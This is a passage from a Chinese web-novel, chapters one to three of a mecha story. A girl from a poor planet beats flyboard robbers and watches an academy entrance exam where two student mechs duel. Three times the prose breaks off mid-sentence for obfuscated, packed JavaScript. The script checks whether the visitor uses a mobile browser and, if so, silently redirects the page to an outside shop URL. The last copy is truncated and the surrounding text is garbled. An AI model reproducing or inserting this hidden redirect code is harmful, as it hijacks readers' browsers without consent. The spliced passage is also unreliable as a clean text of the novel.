《我开机甲靠想象力》 1. 飞板-忘川 “妈妈，我下飞船了。” 鸣星一手护着硕大的黑色背包，从飞船舱门挤出来。 三等舱乘客大多行色匆匆，面容倦怠，唯有她边走边向外探望，满脸兴奋。 “新纪元星好大，好繁华，不愧是联邦第一星。” “嗯，空气干净，天很明亮，和四年前一样……” “不用担心啦，我肯定不会通过考试的，很快回家。工作做完早点休息哦。” 鸣星关掉腕表，在飞板起飞点站定，瞄了眼指示牌。 这条轨道直达龙羿军校。 她解开腰间那条幽绿色的厚带子，推卷轴一样展开。唰的一声，带子打成平面，浮在半空。萤火虫般的光晕萦绕周围，自然光下，板身折射出七彩色泽，水波一样随角度晃动。 身边的人都不由得多看几眼。 这飞板太过吸睛，绝不是普通工业品，不过那华丽材质和她朴素的穿着并不搭。 鸣星踩上去，板身微微荡漾，如踩进水里一般。周围人看得心惊胆战，她倒是习以为常，淡定地踩下激活区。飞板向空中徐徐升起，拖出一长条荧黄的轨迹。 距离考试开始还有时间，她放慢速度，欣赏一路的繁华。车流在她脚下汇成一条镀金的河，全息广告牌层层叠叠挤满视线，最顶上的那块巨幕，正直播着龙羿军校的考场。 鸣星出生在荒凉小星，一时看入了迷，直到身后有人挤向她的轨道，她才回神，向旁躲闪。 她以为是上班族赶路。 哪知那人没有超过去，反而在她前方逼停，还有两人一左一右包抄。几人飞板都是改装过的，喷涂着蓝色的漩涡标识。 前面的绿刺头男人打量她一番，挑眉道：“朋友，飞板从哪买的？这品质，飞刃赛场上都少见啊。” “我自己做的。”鸣星微笑道：“挺识货的么，这是星兽的角制成的，名字叫忘川。” 星兽角可是极其稀有的昂贵材料，三人都是嗤笑一声，显然不信。 左边瘦如骷髅的女人向她靠近，说道：“我们是‘涡流’的，都是飞板爱好者，下去聊聊？” 鸣星一指路牌：“我还要去考试呢，以后再聊。” “龙羿考试？你？”绿毛一脸惊奇，随后哈哈大笑，“你这模样连人家校门都进不去吧！” 这轨道上其他人都穿得规整高级，鸣星穿着朴素，看着就格格不入。 她并不恼火，反而笑道：“抢劫就抢劫，说这么多废话干嘛？” 三人脸色一变。 右边的刀疤脸指指下方建筑，那是一栋施工中的大楼，管道外露，楼顶站着一架飞行机甲。 飞行机亮起蓝色信号灯，意思是“没人”。 鸣星眼睛一亮，惊喜道：“你们队友会开飞行机甲哎，好厉害。” 飞板和飞行机甲都能飞，但一个是人人能骑的悬浮滑板，一个是五段级别的机师才开得动的复杂机甲，完全是两个概念。 “……脑子有病。”绿毛皱眉嘀咕着，和其他两人逼近鸣星，想把她挤出轨道。 不过她没等他们慢慢操作，径直向大楼飞去。 三人一愣，骂了一声，紧跟上去。 骷髅提防道：“这人怎么回事。” “虚张声势罢了。”刀疤面无表情地从腰间取下双刀。 鸣星悬在飞行机不远处，背对着他们，说道：“得快点打，我时间真不多了。” 刀疤向前俯冲，双刀直冲她腰间而去。她猛地蹲下，忘川右拧急转躲闪，与他擦肩而过。 他冷哼一声，完全在他预料内的闪避，果然只是平平无奇的—— 砰！ 他飞板的引擎整个炸开。 刀疤被惯性甩飞出去，脸朝下重砸在地，一口血喷了出来。 “呃，我是说和他打。”鸣星指着那架飞行机，“和你们的话，下次再切磋吧？” 她又看了刀疤一眼：“你们挑事的，医药费自理哈。希望你没事。” 绿毛冷汗直流，端着气.枪的手都在抖：“怎么回事……” 骷髅啧了一声，她看清了，这女孩刚刚蹲下时，右手摸了下刀疤飞板后方的引擎。 她紧盯鸣星的手，虽说戴着手套，但没拿武器，问题肯定不在这里。她鞭子一指鸣星的背包，大声道：“把她的包拆了！” 这么大的包，肯定有蹊跷！ 鸣星：“这里没有值钱东西，只是我自制的机甲。” “机甲装包里，当我傻吗！”骷髅甩出长鞭，绿毛紧跟着开了一枪，但他手抖得厉害，子弹连边都没擦着，骷髅瞪他一眼，骂道：“废物。” “怎么只有他们在打，你不飞吗？”鸣星一个急转躲过攻击，看向飞行机，语气中难掩失望。 骷髅也催促道：“老奥，战斗！” “等下，我翅根卡住了……那老登改的什么东西！”机甲里的声音十分郁闷。 鸣星耸耸肩：“飞不了啊，那我走了。” 她又躲过两鞭子，飞到通风管道旁。 两人攻势猛烈，然而鸣星完全没有要躲闪的迹象，她右手放在管道外壁上，稍微侧头，淡淡地看他们一眼。 绿毛被这一眼吓得急停，他并不知道她有什么招式，但却感到一种极大的恐惧—— 她胜券在握！ 管道倏然响起巨大的嗡鸣声。 “共振啊！共振！快后退，你们这群傻x——”飞行机气急败坏地喊，但为时已晚。 声波一阵阵冲击，彻底扰乱了飞板的悬浮系统，几只飞板就像小船卷入海浪，上下摇摆不停，涡流的两人猝不及防地翻滚着飞了出去。 忘川却像水融入海浪一般，以同样的频率弯曲变形，将震动波的冲击抵消了大半，鸣星顺势蹲下保持稳定，没被掀翻。 骷髅已然摔晕，绿毛原地装死，只有刀疤撑起上半身，顶着满脸的血，发出了一声长长的嘶吼，将短刀猛地掷向鸣星！ 鸣星右手一抖，更大的嗡鸣声炸开，她被震动波唰地抬起时，刀锋擦着忘川引擎的边过去，砰地刺入管道。 管道像只被捏住咽喉的巨兽，发出刺耳狂叫，震得人内脏直颤，鸣星鼻子一热，抬手抹了把，满手是血。 她轻轻一挑眉。 敌人急了，也是时候撤了。 忘川贴地滑出，从刀疤身侧掠过，刀疤瞳仁猛缩，伸出的手却抓了个空——风起的瞬间，他腰间的空刀鞘已被她抽在手中。 忘川继续向前滑行，冲向飞行机。 距离急速缩短，风压扑面而来，飞行机仿佛正在撞向视野，鸣星彻底看清了它。 机身修长，装甲轻薄，双翼薄如刀片，千枚羽片附着表面，翅尖藏着半米长的尖刺。它可以滑翔、旋转、在缝隙中精准穿梭——当它起飞时，会无声无息滑入空中，像从深渊里冲出来捕食的隼。 但它现在只是一只折翼的隼。鸣星的目光落在它左翼根部，那里的关节卡在展开位，连杆正疯狂地空转。 忘川如一道流光切向飞行机的左翼下方。 擦肩而过之时，她手腕轻转，刀鞘竖着插了进去，抬手时在翅膀上轻轻一抚。 咔哒。 一声清脆的金属咬合声，连杆停转，机翼像被拆了骨头，唰地垂下去。 鸣星抬起头，隔着黑色的视窗，精准地对上机师的视线。 “它的名字是？” “我记住你的脸了。” 两人同时说道。 “不说算了，有缘再见。”鸣星笑着拍拍它的翅膀。 下一秒，忘川猛然转向，游鱼般从机甲侧下方钻出。它冲出楼间的阴影，将嘈杂的嗡鸣和血气一并甩在身后，只留一道荧黄的尾迹。 背后传来刀疤的大声怒骂，鸣星没回头，将气流吹乱的刘海捋到额顶，嘴角微微翘起。 新纪元星的治安还是这么乱，光鲜的外表之下一堆腌臜事。好在她见到了一架飞行机，虽然没能看到启动，但只是碰了碰翅膀，心里就高兴起来。 她这次千里迢迢来新纪元星，主要目的却不是考试，而是参加飞板比赛——飞刃角逐。 冠军的奖品是顶级的飞行机甲蓝图，有了核心算法，她再按照自己的设计补上机身，就能造出完整的飞行机了。 鸣星做梦都想拥有一架自己的飞行机甲。 至于考试，只是刚好有资格，顺路而已。当然，她十分期待其他考生的机甲，能认识些有趣的机师就更好了。 最重要的是，总考官是她的偶像，现役最强飞行机师，黑蔷薇。 她的手探进背包口袋，摸到翻着毛边的小册子，扉页上有一小块干涸的蓝色血迹，浸透了笔锋飘逸的“蔷薇” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497771|202583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二字，怎么也蹭不掉。 当年黑蔷薇把这本书递过来时，手上的血还没干。 翻了太多遍，闭着眼睛都能找到名字的位置。她的手指在名字上摩挲了一下，轻轻松开了。联邦第一星里数一数二的伟大军校，离她的生活其实很遥远。 忘川跃出一道陡峭的弧线，急速攀升到高轨道，气流声渐渐平缓，鸣星抬起头，望向远方。 新纪元星的恒星“太元”是个小白点，光芒极为明亮，但更显眼的，是几乎占据了大半个天空的巨大蓝色行星“蓝渊巨目”，无论昼夜，永远悬挂在那里，像一只凝视着所有生命的巨人之眼。 巨目淡蓝色光辉的笼罩之下，鳞次栉比的高大建筑插入云间，从地面仰头看去，那一扇扇大落地窗也不过是一只只小眼睛罢了，它们齐齐地望向巨人之眼，好似回应着她的注视。 这座星球，城市和雨林彼此缠绕生长。城市中间却划分出一大片少有植物的肃穆之地，那里有剑一般直指巨眼的联邦议会宫大厦，有金融巨头的总部，有富豪的私家宅邸，以及那颗被银龙守护着的白色巨蛋—— 龙羿军校。 …… “新纪元星启航者中学毕业，综合排名第一。机甲作战杯青年组星球冠军，去年过了四段认证……还用我继续念吗？” 龙羿军校门口，穿着顶级机甲服的考生踩在飞板上，指尖在简历投影上随意滑动，没有低头看评审员一眼。 评审员脸上却已堆满笑容，“恭喜你，拿到了S评级。请走这边通道。” 那边，富丽堂皇的康庄大道通往一考场。 那高级合金流光溢彩，一路上十八条银白色光带，把这路照得和同学的未来一样明亮—— 走这条路的人百分百通过考试，且分到作战系银龙班，之后就是升学，比赛，拿奖，进入星际联邦战队的标准流程，可以预见一辈子的光辉荣耀。 康庄大道旁边还有两条通路。 一条路风格简洁严肃，两成考生从这进入，分到二考场。剩下的绝大部分，从最后那条小路挤进去，在早市一般混乱的三考场匆匆走个过场。 能站在这的已经是各星球万里挑一的尖子生，可龙羿的入学考试更加残酷，几千人千辛万苦地得到考试资格，入学的不过两百人，分到银龙班的也就十几个，C级以下的学生更是通过考试就算黑马。 “下一位。” 评审员翻到下一份简历，脸唰地冷下来。 这也能分到考试名额？ 没比赛，没背景，没认证，毕业学校闻所未闻。再看看出生地，九十三星……这不是那偏僻又荒芜的垃圾星吗？评审员好半天才想起名字，好像叫什么末星。 这地方能出个三段机师都算奇迹，过去整整十年，末星都没出过一名参加考试的学生。 今年龙羿军校为了公平的名声，给每个星球拨了至少一名考试名额，然而没有资源、没有眼界的小星学生，用什么和大星比？ 评审员漠然地瞥去一眼。 那学生戴一双过肘的黑手套，背着几乎等身大的黑色双肩包，走路时金属带扣咔哒作响，黑色短发被风吹得掠过肩头，露出一双含着笑意的黑亮的眼。 她身材高挑，四肢修长，着装十分扎眼，别人高级机甲服一丝不苟，她则穿着朴素的短袖运动鞋，随意得像饭后散步。 连机甲服都不穿，机甲能开得好就有鬼了。 评审员又扫了眼那不满一页的简历。 奖项一概没有，实习写了挺多，但都是“废弃机甲回收”这种底层职位，唯一可圈可点的是与星兽战斗的实战经验，但这东西水分很大，可能是碰巧撞上了巡逻的联邦小队。 至于在校成绩……怎么还有两项不及格？ 《机甲构造基础范式》、《标准机甲单元设计》。这种最最基础的科目都能挂？ 评审员没让她自我介绍，直截了当地问：“你两门基础课都不及格。你认为你能通过龙羿军校考试的理由是什么？” “我语文成绩很好。”鸣星说道，“我喜欢看书，喜欢幻想，而且很有想象力。” “……” 简直荒谬！ 评审员懒得再问，在评级里打了个大大的F。 F和S在这边都是一样稀有，所以鸣星也算得上一朵万里挑一再挑一的奇葩了。 2. 银龙 “别想象了，多看看现实吧。”评审员嘲讽道，指着最后面那条小路，“从那进，三考场。” 鸣星好像没听出来他在阴阳怪气，笑盈盈地说了声“谢谢老师”，握着背包肩带跑远了。 被骂了还能这么欢快，评审员不由得多看了她背影两眼，心道，真亏她背了那么大一个包还能跑起来。 鸣星寄存好飞板，跑去排队，周围一群C级考生要么紧张得发抖、要么发愁叹气，就只有她还在开心地笑，好像游客一般。 她亢奋地踮着脚尖看里面，身后有人戳戳她的肩膀，递过来张卫生纸：“同学，你是不是在流血？” 鸣星摸了摸自己的脸，果然鼻子下一道血迹。 “谢谢。”她擦掉血，“我太兴奋了，都没注意到。” “兴奋？不该是紧张么。” “不啊。”鸣星冲那人笑了笑，“一会能看到好多厉害的机甲，而且是前排，多好的事。” 那女生容貌秀气，橙发编成麻花辫，灰绿色眼瞳之下有几枚小雀斑，她额头渗出几滴汗来，紧张道：“他们越厉害，我们就越不可能通过。好不容易拿到考试资格，要是没过，真的不甘心。” “唔……我觉得，重在参与，开心就好？”鸣星见她一脸不认可的表情，没再多说，伸出手来，“我叫鸣星。” “士阳。”士阳回握，“你是哪个星的？” “九十三星，你呢？” 士阳表情微妙，好像因为少了一个竞争对手而倍感轻松，“……十五星。”顿了顿，又道：“其实我之前在启航者上学来着，后面因为一些原因换了学校，要不然也不会是C级……哎。你是什么评级啊？” “F。” “F？！”士阳大为震惊，“你把评审老师打了吗，为什么会给这么……少见的评级？” “我说我喜欢看书，很有想象力……F很少见吗？我还以为大家都这样呢。” “你……算了，”士阳已经开始安慰她了，“既然你是来玩的，就别管评级了。” “嗯，反正在哪考场都能看到大家的机甲，好期待啊！” 三考场入场慢，人又多，士阳被挤着站了一会，有些腿酸，她见鸣星背着那个大个包还是活力满满的样子，问道：“你背的是什么？” “是机甲。” 士阳又一次惊了，“怎么不寄过来，不沉吗？” “寄过来很贵，我就背过来了。” “你劲挺大。”士阳眼里只有佩服。虽然估计只是轻型机甲，但是抱着重在参与的心态还能一路背过来，也是个狠人了。 她看着鸣星那身过于随意的穿着，小心翼翼道：“所以你没穿机甲服……”也是因为买不起吗？ 士阳问到一半，觉得不太礼貌，后半句咽了回去。 机甲服相当于一个辅助精神力控制的物理外挂，买最差的也比不穿强，如果考试时都不穿，可能真是穷到一定程度了。 鸣星朝她笑了笑，没说什么。 队伍开始前进，走过最终的安检门，几十米高的幽蓝色穹顶冲击地映入视野。 考场如一枚巨龙的蛋，弧形向两侧收缩，纤长的银白装饰线既像破壳的纹路，又像银河的行星轨迹，线延伸到最高处时，渐渐变为翅膀的形状，成为一双龙翼。 鸣星感叹不停，士阳更淡定些，启航者中学都组织过龙羿的参观，她那时便打定主意考这所军校。 考场边缘陈列着几千个不重复的标准机，从一人高的等身型到25米高的大型机甲应有尽有，中央划出三个并排的考区，巨大的屏幕上实时展示考场实况，上百家媒体架着摄像头对准一考场，绝大多数都是直播。 一考场的各路神仙学生是考试最大的看点，每届都是如此。 考场边搭了临时仓库，存放考生的机甲，没准备的也可以用学校的标准机。仓库只有三人高，因为考试限制了机甲的高度——机甲届总有攀比高度的风气，但并非越高越好。 不过，龙羿的镇校之宝却的确是一个以高闻名的机甲。 “那个巨型银龙机甲呢？”鸣星问。 “应该会在正式开场后展示。”士阳说道：“上次参观时我也没看到，据说很震撼。” “上午好，未来的军官、机师和设计师们。” 威严的声音从四面八方的广播传来，在这样空旷的建筑里如同神谕一般，威慑力惊人。 一位身穿银白制服的考官走上最高的展台，大屏幕将她的脸成倍放大。 浅金短发，刘海不过眉，五官英气得雌雄莫辨，粗眉浓茂，脸型小巧，却有双猎豹一样炯炯有神的琥珀大眼，眉峰处有一道浅色疤痕，那是她在几次星兽大战中胜利的勋章。 然而绝大部分人的注意力却不在她俊美的容貌上，而在肩章——五星二花，正极少将军衔。 她是这届选拔的总负责人，也是本届银龙班的导师，八段战略级机师，黑蔷薇。 “你又流血了。”士阳递上纸。 鸣星情不自禁地捏住包里的册子，几乎原地小跳，兴奋道：“黑蔷薇！飞行机甲的最强机师！” “别激动，我们也就只能远远看看了。” 士阳理解她的心情。龙羿的老师全都在七段天锋级以上，对热爱机甲的人来说完全就是偶像。只可惜，他们和偶像的最近距离也就是这考场上下了，毕竟就算运气好进了龙羿，也不可能进银龙班。 “感谢各位考生报考我们龙羿军校，你们都是佼佼者，不论考中与否，都拥有光明的未来。" “不过此刻还请发挥出你们的全部实力，进入龙羿，会成为你人生最正确的选择之一，我们将给提供你所有你想要的资源、平台，以及，驾驶最强龙型机甲，成为龙骑士的机会——” 黑蔷薇打了个响指，蓝色穹顶刷地变得透明，所有人仰头望去，先是寂静了一瞬，随即响起一片抽气之声。 那是一只货真价实的，巨龙。 高达一百一十米，通体银白，流线优美。从场馆仰望，最先看到的是它的胸脯，好像它正在孵化着这枚巨蛋，换个角度就看到它粗壮的龙尾，以及蓄势待发的前肢。 龙鳞层层叠叠，精巧地排列，保护机身的同时又有极高的机动性，鳞片反射着巨目的蓝光，像有汪洋大海正从它的身上倾泻而下。 它的嘴、眼，尾、手足、每一寸鳞片都可以控制，都可以变成武器，它只是站在那里，就可以抵御千军万马，身上那对巨翼则可以反直觉地带动它飞起来——银龙本身就是一只超级飞船，它是一种威慑，是飞行机甲在巨大方面发展到极致的象征物。 这是开创机甲流派的祖师云风清的炫技之作，守护龙蛋的“银龙”。他将这只龙送给龙羿军校，作为建校贺礼。 所有成功驾驶这个机甲的人，都会被称为“龙骑士”。 这自然是很难的，接入机甲时，庞大的信息量会冲垮一般机师的精神，就算真的飞起来也很难顾及全身，毕竟它这么大。据说，只有天锋机师才能驾驭好它。 银龙如果坠机，堪称天灾，所以，只有成为年级前三名、得到学校认可的人，才有试驾驶的机会。 从银龙诞生到现在的两百七十年，龙骑士的数量两只手都数的过来，黑蔷薇就是近十年内唯一的龙骑士了。 天幕一直透明，考试将在银龙和巨目的双重注视下进行。 “现在宣布考试规则。” 话音落下，考场上窸窣的议论声迅速平息，考生们低头望向考官，重新紧绷起考试的神经，只有鸣星仍仰着头，痴痴地望着银龙。 她喜欢飞行机甲，而银龙作为飞行机中传奇一样的存在，当然在她的愿望清单里。 要是她也能成为龙骑士就好了。 要是她也能创造出这样传奇的飞行机甲就好了。 鸣星清楚，这种想法终究只是奢望。这只可爱巨龙看一眼少一眼，她争分夺秒地注视着它美丽的身形，想要把它所有的精妙设计记入脑海。 “……鸣星，你听了吗？”士阳戳了下她的胳膊，“要不要我给你讲下。” 龙羿的入校考试规则，其实很简单。 更专业的综合考题放在入校两个月后的二次考核，本轮考试只要做到一件事，就是得到考官的认可。 ——学生们可以随心所欲地、以任意方式展示机甲，只要能让考官们觉得，他是天才中的天才，机甲界没他是一大损失，就能通过。 每个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497772|202583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考场五个考官，三个给不通过就算失败，五个全通过就可以去银龙班。 “没事，我都听着呢。” 考试开始了，鸣星终于收回视线。 一考场率先传来一阵议论声，一架重型人形战斗机走上展示台。 那机甲有两人高，全身覆盖大块硬甲，像只石头人，倒三角的躯干连接着比人还宽的机械手臂，正小幅度挪动调试。 “标准近战机型？”士阳疑惑：“一考场考生会用标准机？” “破碎者三号。”鸣星说道：“一个标准机改造的小众机型，对手部要求高，不过破坏力比标准机高一级。” “你见过吗？” “我在书上看过。”鸣星笑道：“我喜欢看书。” “破碎者三号，破坏展示。”机甲抬手攥住大型测试晶体，轻轻一捏便碾成了碎块。 滴—— 四位考官齐齐按下通过。 士阳大吃一惊，“为什么这就通过了？” “你看那里。”鸣星指指破碎者的右手。 士阳看过去，瞬间了然。 那机甲有六根手指。这多出来的一根手指，就是他立刻得到四名考官认可的理由。 ——超出人类思维的，控制点位。 机师通过脑机接口控制机甲，本质上是想象控制自己的身体，但人很难控制先天没有的东西，比如尾巴，比如五感以外的感官，比如，第六根手指。 多出的那一个攻击点会让破坏能力指数级提升，而控制第六指会扰乱原有五指的操作，难度极大，能驾驭它本就是实力的证明。 士阳心里有些发凉，一考场议论时，她还在想这是个标准机。经验不足，视野局限……这是她和一考场考生的差距，也是她和身边人的差距。 士阳不禁瞟了眼鸣星。这是巧合吗？或者她最近刚好读过相关的内容？毕竟，她只是一个来自垃圾星的、机甲服都没有的F级考生…… “它有一个别名，叫六指石人。”鸣星说道：“这个展示的方法蛮巧妙，不过还是没得到所有考官的认可啊。” 还有一个考官，迟迟没按下通过按钮。 其他考官穿着整洁，坐姿端正，那考官却有些懒散，最顶上的扣子也没扣，非常不符合军队规范，然而他的肩章是五星一花，仅次于黑蔷薇的副级少将。 “……是律尔啊。”士阳为考生捏了把冷汗，“那可遭了，他思维异于常人，很难搞。” 律尔，有一张能傍上亿万富婆的小白脸的脸面，一副战士的健壮身躯，以及，一颗地痞流氓一般玩世不恭的心。 他银白的发尾扎个小揪，垂到肩上，内层挑染得五彩缤纷，黑框护目镜后，狭长的白色眼睛总是似笑非笑地眯着，像是没睡醒，又或者是嘲弄地打量着谁。 “这位考生，我觉得你可以给我一些更精彩的东西呢。”律尔漫不经心地说：“这样是不是有些取巧了？” “你的意思是……” “我的意思不是很明显吗？我怎么知道，你是不是天生就有六根手指呢。” 这也许是个笑点，但没有一个考生敢笑，所有人都紧紧闭上嘴，担心自己上场时被刁难。 律尔在空中抓握两下，“当然，如果你用七指的型号，我会认可你，毕竟我还没有见过七指畸形。” “……我已经破坏了硬度最高的测试晶体。”考生的声音压抑着愤怒。 “嗯，所以，别的展示呢？没有了吗？那我保留我的投票。”律尔呵呵一笑，“放心，如果后面有比你弱的，我一定会补给你。” 大屏幕立刻更新考生信息：四票通过，一票保留，确定录取，银龙班待定。 这边，二三考场的考生也陆续上场了，本来都是不错的机甲，但在六指石人的衬托下就显得平平无奇。 三考场过的速度很快，甚至有个冷面考官一见考生上场就按了不通过。 士阳紧张地低声道：“那个考官英弦，以前是银龙班的，出了点事被赶去群星班了。反正他现在看谁都不爽，特别狠……” 话音刚落，英弦就滴的一声按下不通过，对台上不知所措的考生冷冷道：“连好点的机甲服都不穿，这就是你的考试态度？” 3. 六指石人vs影刀 一二考场上能人辈出，机型无一重复，场下阵阵惊叹，媒体拍个不停，三考场却一片死寂，每个人都绷紧了精神。 通过的可能性本来就小，又摊上这么个严厉的考官，希望更是渺茫。 “我真是要吐了。”士阳脸色发白，“这都能成为不通过的理由吗？太不讲理了……” “应该不是机甲服的原因。”鸣星说：“他机甲选的不对，有严重缺陷，以前在战场出过大问题的。” “就是英弦看我们不顺眼而已，他瞧不起我们这些学校不好的。”士阳叹气，“别给他找理由了，你也没穿机甲服，他可能也会为难你。” “没事，我不需要他的认可。”鸣星微笑道：“我看过他的论文和设计的机甲。他以前水平是很高，但最近两年差了很多，这大概就是他离开银龙班的原因吧。” 士阳吓了一跳，“你一会在台上可别说这话！得罪这些大牛，以后这行都干不下去了。” “干这行？”鸣星歪头，“我没想过那些，我只是爱好机甲。” “……好吧。”士阳想道：怪不得连机甲服都没买，感情她把这入学考试当机甲表演看了。 不过想来也是，九十三星估计都没有机甲相关的好工作，最沾边的也就是机甲材料回收，说难听点就是捡垃圾。 可惜了鸣星的知识储备了。 “哦，这个好帅！”鸣星眼睛一亮，三个考场也同时响起惊呼。 一考场那边，一个三米高的黑色机甲像把长刀一样矗立着。 那机身流线设计，外形圆滑流畅，修长的手足却有着灵活的关节和锋利的刀刃，并入机身时几乎无缝，伸出机身又能以任意角度转动，十二个关节巧妙配合，像某种昆虫。 装甲表面用了吸光的梵塔黑涂层，头部两条银色长方形窗口为眼，眼睛合上时，整个机身几乎完美地隐于阴影。 “这设计机动性很高，移动速度应该很惊人，如果在晚上进攻，就像一个刺客……” 鸣星还未说完，那机甲唰地从原位消失，如一道影子掠至展台中间，场上考生几乎都是倒吸一口冷气。 “影刀。”机甲里的声音像清泉水一般冷清，“灵感是‘虫刃’号和‘夜影’号，融合了虫刃的机动性、破甲性能和夜影的藏匿能力。” “这么难操作，还是自己设计的。”士阳痛苦道：“这得是五段的水平了吧，都什么人啊！” 四个考官立刻给了通过，其他考场的考官也都看过去，不少点着头，彼此小声聊了几句。 黑蔷薇更是当场点评：“你对仿生运动学和材料学的理解很深入，是目前考生里这两方面做的最好的。” 那考生也没客气，大言不惭道：“谢谢老师，这是我这两门课的作业。我设计的其他机甲，在别的方面也做到了最好。” 士阳瞪大眼睛：“虽然他是厉害，但这也太不要脸了吧。” 鸣星一会看看影刀，一会又看看黑蔷薇，沉浸不已：“真好啊，能被黑蔷薇点名表扬。我设计的机甲比影刀还帅呢，可惜不在一考场，不能被她表扬了。” 士阳：“……” 没想到比这位考生更不要脸的人就在自己身边。 她承认鸣星也很厉害，但鸣星绝不可能做出比影刀更好的机甲。 这不是评级歧视，而是最简单的判断： 真正的机甲要么上战场，要么在极端环境作业，设计时至少得保护要害。鸣星的机甲一个包就背的过来，这种又轻又小，毫无保护作用的东西，只能算个“半机甲”，在机甲业内被视为玩具。 四个考官看向律尔，黑蔷薇更是瞪他一眼，好像在说，赶紧通过。 他总是这样，不论通不通过都要先说上两句，目前为止全是冷嘲热讽，一句好话没有。 “你多余的艺术表达太多了。”他微微一笑，“不过，我喜欢。” 士阳：“连律都没刺挑，这机甲在同类型里算顶级了。” 她刚说完，律尔就话锋一转：“你的机甲大家都很认可，让你做性能测试似乎有些多余。但只展示移动就通过考试，对其他考生不公平吧？尤其是六指那位——” 他指向候场区的六指石人，“我怕这样放你下场，他会想暗杀你。” “六指石人只会想暗杀律吧。”士阳忍不住吐槽。 鸣星点头：“我要是六指，就用手捏住律老师的脑袋，这样他就没话说了。” 士阳：“……”这人一本正经地说着什么恐怖的话呢。 “不过，你俩挺像的，都想用简单的方式证明自己很强。” 律尔说着，露出不怀好意的笑，终于藏不住那副吊儿郎当模样下的狐狸尾巴了：他要搞事，要看热闹，要让至少一个当事人不痛快—— “这样，你俩打一架吧，我投票给赢的那个，所以一定要认真打哦。” 他的意思是，只有赢的那个可以留在银龙班。 对一考场的学生来说，分到普通班绝对是耻辱。 影刀的前肢从机身中伸出，显然做好了战斗准备。六指石人也没有任何犹豫，大步踏上战场。 “还有机甲对战看！太棒了，完全值回路费。” 鸣星兴奋不已，三考场没几名就轮她了，她却毫不在意，全神贯注地看着一考场的对战。 士阳就排在鸣星前面。按照她的性格，此刻本该紧张得无暇他顾，但在鸣星情绪的感染下，她居然也分出了一半心思观战。 如此近距离地观看全星系最优秀的学生1v1作战，的确机会难得。 影刀和六指面对面站在展台上，等待考官指令。 律尔双手扣在脑后，一副看戏姿态，说道：“我就一个要求，别把人打死了。两位，开始吧。” 他最后一个音节刚刚落下，六指的手掌就已经伸向影刀头部，快如残影。然而，机动型的影刀更快一分，如闪电般闪到侧面，前肢锋利的刀锋径直刺向六指胸口—— 六指没有躲闪。 机师水平相当的情况下，重型机甲快不过机动型，这是常识。六指没在自己比不过的方面努力。 他用坚硬的胸甲生生抗下了这凶猛的一个突刺。 影刀收回刀刃，六指的胸口只留下一个小坑，甚至没有伤到中层。 “怎么没伤害？”士阳紧张道：“是影刀的刀锋不够锋利吗？” 鸣星：“不，现在还没法判断硬度高低，但是，六指刚刚躲闪了。” “躲闪……了？” “侧了下身，只有一点点。”鸣星右手轻推左拳，左拳微侧，试图描述她刚刚感受到的东西：“像是巨石被海浪击打时翻转了一点，于是石头没受伤害……的距离。” 海浪……石头……翻转。 “——是结构！”士阳恍然大悟。 影刀又迅猛地刺出五刀，刀刀击中同一点，试图定点突破，然而六指的胸甲没有一点被破坏的痕迹。 每次受击，六指都会微微偏移，让机甲的结构也完全改变，影刀每一刀都打在一块全新的石头上。 士阳被这种微调吓到了，后背冷汗涔涔：“简直是神一样的控制能力……” 六指不仅很懂如何破坏，也很懂如何保护自己不被破坏。 然而下一秒，影刀忽然转向，闪到六指身前，刀锋划出一道长长的裂口。 “共振。”鸣星的声音与撕裂声同时响起，“怪不得他说破甲性能好。” 口子里的结构全被共振破坏，六指第一次被迫后撤，影刀见他躲闪，知道这招有效，几秒内接连换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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机甲碎掉了，不是六指的胸甲，而是影刀的，关节。 导播贴心地加了一个慢速回放： 影刀的前肢抬得很高，准备发出强有力的最后一击，然而攻击前摇多出的两秒内，六指率先一步捏住了影刀的腿关节。 六根手指精准地抵住六个关键点位，将那坚硬关节一举捏碎！ 影刀靠速度破坏六指，而他的速度，又靠的是昆虫仿生的关节结构。 人类难以驾驭非人机型，适应昆虫机型需要大量训练，就算只缺一个关节，也是对机师的致命打击——他仍能走，但他不会知道该怎么走。 他无法控制这具机甲了。 局势，瞬间逆转！ 三个考场议论纷纷，一秒前他们还以为六指必败无疑，哪知转瞬之间，必败的那方就成了影刀。 士阳震惊地张大嘴。 她曾以为启航者中学的学生已经是同辈的极限，哪知强中自有强中手，这些一考场考生的机甲控制全都强得离谱，在机甲理解方面更是碾压她。 她下意识看向鸣星。这个刚认识的F级考生，在机甲的理解上敏锐得可怕，甚至能与一考场的天才比肩，可现实是，她连进三考场都勉强。 “还没完……”鸣星轻声道。 影刀关节被破坏时爆出一层黑色烟雾，大屏幕上一片灰黑，只能隐约看到六指的灰影。影刀闭上了银色眼睛，在黑暗中隐去，黯然退场。 “这个影刀很有想象力么。”鸣星指着展台，对士阳一笑，“六指完蛋了。” 咔哒。 台上一声脆响，台下无比安静，二三考场的考生也都暂停动作，齐齐看向一考场。烟雾仍未散去，他们等待着考官的宣布。 宣布六指的胜利。 律尔满脸笑容地拍拍手，说道：“好了，这票给影刀。六指，你有意见吗？” 考场一片哗然。 长久的沉默后，六指从烟雾中走出来，头也不回地快步下台，留下两个字。 